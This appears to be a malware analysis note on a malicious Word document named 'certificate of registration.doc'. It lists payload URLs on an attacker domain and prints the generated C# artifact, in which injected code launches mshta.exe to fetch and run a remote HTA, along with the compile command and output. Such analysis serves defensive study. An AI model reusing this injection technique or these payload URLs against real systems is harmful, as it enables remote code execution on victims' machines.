certificate of registration.doc

Links
https://enterrupted.com/doc/t.php?stats=send&thread=0 <- png
https://enterrupted.com/doc/tp.php?thread=0 <- hta

Artifacts

en8infdg.0.cs, Logo.cs
~~~
using System;
using System.Runtime.Remoting.Messaging;
using System.Runtime.Remoting.Metadata;
using System.Runtime.Remoting.Metadata.W3cXsd2001;
using System.Runtime.InteropServices;
namespace Logo {

    [SoapType(SoapOptions=SoapOption.Option1|SoapOption.AlwaysIncludeTypes|SoapOption.XsdString|SoapOption.EmbedAll,XmlNamespace=@"http://schemas.microsoft.com/clr/nsassem/Logo/Logo", XmlTypeNamespace=@"http://schemas.microsoft.com/clr/nsassem/Logo/Logo")][ComVisible(true)]
    public class Image : System.Runtime.Remoting.Services.RemotingClientProxy
    {
        // Constructor
        public Image()
        {
            base.ConfigureProxy(this.GetType(), @"http://localhost_C:\Windows\System32\mshta.exe_https://enterrupted.com/doc/t.php?thread=0");
            //base.ConfigureProxy(this.GetType(), @"\\;\\;
                                System.Diagnostics.Process.Start(_url.Split('_')[1], _url.Split('_')[2]);
                         //");
        }

        public Object RemotingReference
        {
            get{return(_tp);}
        }

    }
}
~~~

en8infdg.out
~~~
C:\Users\Steve\AppData\Local\Temp> "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /t:library /utf8output /R:"System.dll" /R:"System.Runtime.Remoting.dll" /R:"System.Data.dll" /R:"System.Xml.dll" /R:"System.Web.Services.dll" /out:"C:\Windows\system32\com\SOAPAssembly\https100enterrupted4com0doc0tp4php2thread90.dll" /D:DEBUG /debug+ /optimize-  "C:\Users\Steve\AppData\Local\Temp\en8infdg.0.cs"


Microsoft (R) Visual C# 2005 Compiler version 8.00.50727.4927
for Microsoft (R) Windows (R) 2005 Framework version 2.0.50727
Copyright (C) Microsoft Corporation 2001-2005. All rights reserved.
~~~

en8infdg.cmdline
~~~
/t:library /utf8output /R:"System.dll" /R:"System.Runtime.Remoting.dll" /R:"System.Data.dll" /R:"System.Xml.dll" /R:"System.Web.Services.dll" /out:"C:\Windows\system32\com\SOAPAssembly\https100enterrupted4com0doc0tp4php2thread90.dll" /D:DEBUG /debug+ /optimize-  "C:\Users\Steve\AppData\Local\Temp\en8infdg.0.cs"
~~~

C:\Windows\System32\com\SOAPAssembly\CSCBE88.tmp
~~~
.. .............˔.<.......0.....˔4.VS_VERSION_INFO..ҽﻯ..........?.............D..VarFileInfo..$..Translation...Ұȴ..StringFileInfo.Ȑ..000004b0.,..FileDescription.. .0..FileVersion..0.0.0.0..0.InternalName.https100enterrupted4com0doc0tp4php2thread90.dll.(..LegalCopyright. ..0.OriginalFilename.https100enterrupted4com0doc0tp4php2thread90.dll.4..ProductVersion.0.0.0.0.8..Assembly Version.0.0.0.0.
~~~